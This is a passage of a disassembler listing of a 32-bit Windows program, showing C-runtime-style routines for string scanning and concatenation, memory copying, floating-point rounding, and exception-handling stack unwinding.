; sub_41CAD4+5Cj mov ebx, edx loc_41CB37: ; CODE XREF: sub_41CAD4+81j mov al, [edx] test al, al jz short loc_41CB5B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41CB57 inc edx jmp short loc_41CB37 ; --------------------------------------------------------------------------- loc_41CB57: ; CODE XREF: sub_41CAD4+7Ej and byte ptr [edx], 0 inc edx loc_41CB5B: ; CODE XREF: sub_41CAD4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DBE28, edx and eax, ebx pop ebx leave retn sub_41CAD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB70 proc near ; CODE XREF: sub_409823+1Cp ; sub_415DAC+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41FF3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41CBAE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41CBBB ; --------------------------------------------------------------------------- loc_41CBAE: ; CODE XREF: sub_41CB70+34j lea eax, [ebp+var_20] push eax push 0 call sub_41FE2A pop ecx pop ecx loc_41CBBB: ; CODE XREF: sub_41CB70+3Cj mov eax, esi pop esi leave retn sub_41CB70 endp ; =============== S U B R O U T I N E ======================================= sub_41CBC0 proc near ; CODE XREF: sub_40ADE1+88p ; sub_40B90E+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41CC74 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41CBEA loc_41CBDB: ; CODE XREF: sub_41CBC0+28j mov al, [edi] inc edi test al, al jz short loc_41CC1B test edi, 3 jnz short loc_41CBDB loc_41CBEA: ; CODE XREF: sub_41CBC0+19j ; sub_41CBC0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41CBEA mov eax, [edi-4] test al, al jz short loc_41CC28 test ah, ah jz short loc_41CC23 test eax, 0FF0000h jz short loc_41CC1E test eax, 0FF000000h jnz short loc_41CBEA loc_41CC1B: ; CODE XREF: sub_41CBC0+20j dec edi jmp short loc_41CC2B ; --------------------------------------------------------------------------- loc_41CC1E: ; CODE XREF: sub_41CBC0+52j sub edi, 2 jmp short loc_41CC2B ; --------------------------------------------------------------------------- loc_41CC23: ; CODE XREF: sub_41CBC0+4Bj sub edi, 3 jmp short loc_41CC2B ; --------------------------------------------------------------------------- loc_41CC28: ; CODE XREF: sub_41CBC0+47j sub edi, 4 loc_41CC2B: ; CODE XREF: sub_41CBC0+5Cj ; sub_41CBC0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41CC40 mov ebx, ecx shr ecx, 2 jnz short loc_41CC8C jmp short loc_41CC5C ; --------------------------------------------------------------------------- loc_41CC40: ; CODE XREF: sub_41CBC0+75j ; sub_41CBC0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41CC7A mov [edi], dl inc edi dec ecx jz short loc_41CC70 test esi, 3 jnz short loc_41CC40 mov ebx, ecx shr ecx, 2 jnz short loc_41CC8C loc_41CC5C: ; CODE XREF: sub_41CBC0+7Ej ; sub_41CBC0+CAj mov ecx, ebx and ecx, 3 jz short loc_41CC70 loc_41CC63: ; CODE XREF: sub_41CBC0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41CC72 dec ecx jnz short loc_41CC63 loc_41CC70: ; CODE XREF: sub_41CBC0+8Bj ; sub_41CBC0+A1j mov [edi], cl loc_41CC72: ; CODE XREF: sub_41CBC0+ABj pop ebx pop esi loc_41CC74: ; CODE XREF: sub_41CBC0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41CC7A: ; CODE XREF: sub_41CBC0+85j ; sub_41CBC0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CC84: ; CODE XREF: sub_41CBC0+E4j ; sub_41CBC0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41CC5C loc_41CC8C: ; CODE XREF: sub_41CBC0+7Cj ; sub_41CBC0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41CC84 test dl, dl jz short loc_41CC7A test dh, dh jz short loc_41CCD8 test edx, 0FF0000h jz short loc_41CCC8 test edx, 0FF000000h jnz short loc_41CC84 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CCC8: ; CODE XREF: sub_41CBC0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CCD8: ; CODE XREF: sub_41CBC0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41CBC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CCE3 proc near ; CODE XREF: ___:0040B062p ; sub_40C2AF+40p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41B9C0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420DB0 add esp, 10h leave retn sub_41CCE3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CD20 proc near ; CODE XREF: sub_40B13C+62p ; sub_40B13C+6Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CD40 cmp edi, eax jb loc_41CEB8 loc_41CD40: ; CODE XREF: sub_41CD20+16j test edi, 3 jnz short loc_41CD5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- loc_41CD5C: ; CODE XREF: sub_41CD20+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CD74 and eax, 3 add ecx, eax jmp dword ptr loc_41CD7C+4[eax*4] ; --------------------------------------------------------------------------- loc_41CD74: ; CODE XREF: sub_41CD20+46j jmp dword ptr loc_41CE78[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD7C: ; CODE XREF: sub_41CD20+31j ; sub_41CD20+8Ej ... jmp off_41CDFC[ecx*4] ; --------------------------------------------------------------------------- db 2 dup(90h) db 0CDh, 41h, 0 dd offset loc_41CDBC dd offset loc_41CDE0 ; --------------------------------------------------------------------------- and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CDBC: ; DATA XREF: sub_41CD20+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CDE0: ; DATA XREF: sub_41CD20+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDFC dd offset loc_41CE5F ; DATA XREF: sub_41CD20:loc_41CD7Cr dd offset loc_41CE4C dd offset loc_41CE44 dd offset loc_41CE3C dd offset loc_41CE34 dd offset loc_41CE2C dd offset loc_41CE24 dd offset loc_41CE1C ; --------------------------------------------------------------------------- loc_41CE1C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CE24: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CE2C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CE34: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CE3C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CE44: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CE4C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CE5F: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20:off_41CDFCo jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CE68 dd offset loc_41CE78 ; DATA XREF: sub_41CD20+35r ; sub_41CD20+92r ... dd offset loc_41CE80 dd offset loc_41CE8C dd offset loc_41CEA0 ; --------------------------------------------------------------------------- loc_41CE78: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE80: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE8C: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CEA0: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CEB8: ; CODE XREF: sub_41CD20+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CEEC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CEE0: ; CODE XREF: sub_41CD20+1B1j ; sub_41CD20+208j ... neg ecx jmp off_41CFB0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEEC: ; CODE XREF: sub_41CD20+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CF04 and eax, 3 sub ecx, eax jmp dword ptr loc_41CF04+4[eax*4] ; --------------------------------------------------------------------------- loc_41CF04: ; CODE XREF: sub_41CD20+1D6j ; DATA XREF: sub_41CD20+1DDr jmp off_41D000[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF17+1 ; --------------------------------------------------------------------------- cmp bh, cl inc ecx add [eax-31h], ah inc ecx loc_41CF17: ; DATA XREF: sub_41CD20+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CFB4 dd offset loc_41CFBC dd offset loc_41CFC4 dd offset loc_41CFCC dd offset loc_41CFD4 dd offset loc_41CFDC dd offset loc_41CFE4 off_41CFB0 dd offset loc_41CFF7 ; DATA XREF: sub_41CD20+1C2r ; --------------------------------------------------------------------------- loc_41CFB4: ; DATA XREF: sub_41CD20+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CFBC: ; DATA XREF: sub_41CD20+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CFC4: ; DATA XREF: sub_41CD20+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CFCC: ; DATA XREF: sub_41CD20+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CFD4: ; DATA XREF: sub_41CD20+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CFDC: ; DATA XREF: sub_41CD20+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CFE4: ; DATA XREF: sub_41CD20+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CFF7: ; CODE XREF: sub_41CD20+1C2j ; DATA XREF: sub_41CD20:off_41CFB0o jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 10h off_41D000 dd offset loc_41D010 ; DATA XREF: sub_41CD20+1B7r ; sub_41CD20:loc_41CF04r ... dd offset loc_41D018 dd offset loc_41D028 dd offset loc_41D03C ; --------------------------------------------------------------------------- loc_41D010: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D018: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D028: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D03C: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CD20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41D055(double) sub_41D055 proc near ; CODE XREF: sub_40D2F4+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43AE10 call sub_422089 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41D0DB call sub_421F51 pop ecx test eax, eax pop ecx jle short loc_41D0BE cmp eax, 2 jle short loc_41D0B0 cmp eax, 3 jnz short loc_41D0BE fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_421861 add esp, 10h jmp short loc_41D120 ; --------------------------------------------------------------------------- loc_41D0B0: ; CODE XREF: sub_41D055+3Fj push esi push ebx call sub_422089 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41D120 ; --------------------------------------------------------------------------- loc_41D0BE: ; CODE XREF: sub_41D055+3Aj ; sub_41D055+44j fld [ebp+arg_0] fadd dbl_4276F8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41D118 ; --------------------------------------------------------------------------- loc_41D0DB: ; CODE XREF: sub_41D055+2Fj call sub_421F16 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41D0FE loc_41D0F0: ; CODE XREF: sub_41D055+ACj push esi push ebx call sub_422089 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41D120 ; --------------------------------------------------------------------------- loc_41D0FE: ; CODE XREF: sub_41D055+99j test bl, 20h jnz short loc_41D0F0 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41D118: ; CODE XREF: sub_41D055+84j call sub_4218B4 add esp, 1Ch loc_41D120: ; CODE XREF: sub_41D055+59j ; sub_41D055+67j ... pop esi pop ebx leave retn sub_41D055 endp ; =============== S U B R O U T I N E ======================================= sub_41D124 proc near ; CODE XREF: ___:0041C16Dp ; sub_422152+21p ; DATA XREF: ... call sub_41D13C call sub_422152 mov dword_4DBE30, eax call sub_422102 fnclex retn sub_41D124 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41D13C proc near ; CODE XREF: sub_41D124p mov eax, offset sub_422540 mov off_43D424, offset sub_4221D5 mov off_43D420, eax mov off_43D428, offset sub_42223B mov off_43D42C, offset sub_42217B mov off_43D430, offset sub_422223 mov off_43D434, eax retn sub_41D13C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D174 proc near ; CODE XREF: sub_40D2F4+1Bp ; sub_40D2F4+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41D174 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41D19B(double) sub_41D19B proc near ; CODE XREF: sub_40D340+82p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43AE28 call sub_422089 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41D221 call sub_421F51 pop ecx test eax, eax pop ecx jle short loc_41D204 cmp eax, 2 jle short loc_41D1F6 cmp eax, 3 jnz short loc_41D204 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_421861 add esp, 10h jmp short loc_41D266 ; --------------------------------------------------------------------------- loc_41D1F6: ; CODE XREF: sub_41D19B+3Fj push esi push ebx call sub_422089 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41D266 ; --------------------------------------------------------------------------- loc_41D204: ; CODE XREF: sub_41D19B+3Aj ; sub_41D19B+44j fld [ebp+arg_0] fadd dbl_4276F8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41D25E ; --------------------------------------------------------------------------- loc_41D221: ; CODE XREF: sub_41D19B+2Fj call sub_421F16 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41D244 loc_41D236: ; CODE XREF: sub_41D19B+ACj push esi push ebx call sub_422089 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41D266 ; --------------------------------------------------------------------------- loc_41D244: ; CODE XREF: sub_41D19B+99j test bl, 20h jnz short loc_41D236 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41D25E: ; CODE XREF: sub_41D19B+84j call sub_4218B4 add esp, 1Ch loc_41D266: ; CODE XREF: sub_41D19B+59j ; sub_41D19B+67j ... pop esi pop ebx leave retn sub_41D19B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D26A proc near ; CODE XREF: ___:00422A22p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41D26A endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41D29E proc near ; CODE XREF: sub_422B62+199p ; sub_422D26+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D29E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D2A5 proc near ; CODE XREF: sub_422B62+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D2A5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D2AC proc near ; CODE XREF: sub_41D45E+5Cp ; sub_4229B1:loc_4229E2p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41D2D4 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_426356 sub_41D2AC endp ; --------------------------------------------------------------------------- loc_41D2D4: ; DATA XREF: sub_41D2AC+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41D2FB: ; CODE XREF: ___:00426AACj ; ___:00426AC9j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_4225B6 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D331 proc near ; CODE XREF: sub_422A2C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41D385 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422DB0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41D331 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D385 proc near ; DATA XREF: sub_41D331+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_4225B6 add esp, 20h pop ebp retn sub_41D385 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D3AA proc near ; CODE XREF: sub_4227F8+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41D45E mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41D430 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DBE70 pop ecx pop ecx and [ebp+var_34], 0 loc_41D430: ; DATA XREF: sub_41D3AA+3Co cmp [ebp+var_4], 0 jz short loc_41D44D mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41D456 ; --------------------------------------------------------------------------- loc_41D44D: ; CODE XREF: sub_41D3AA+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41D456: ; CODE XREF: sub_41D3AA+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41D3AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D45E proc near ; DATA XREF: sub_41D3AA+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41D481 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41D4CE ; --------------------------------------------------------------------------- loc_41D481: ; CODE XREF: sub_41D45E+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_4225B6 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41D4BF push [ebp+arg_0] push [ebp+arg_4] call sub_41D2AC ; --------------------------------------------------------------------------- loc_41D4BF: ; CODE XREF: sub_41D45E+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41D4CE: ; CODE XREF: sub_41D45E+21j pop edi pop esi pop ebx pop ebp retn sub_41D45E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4D3 proc near ; CODE XREF: sub_422651+C6p ; sub_4227F8+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41D52A loc_41D4F1: ; CODE XREF: sub_41D4D3+52j cmp esi, 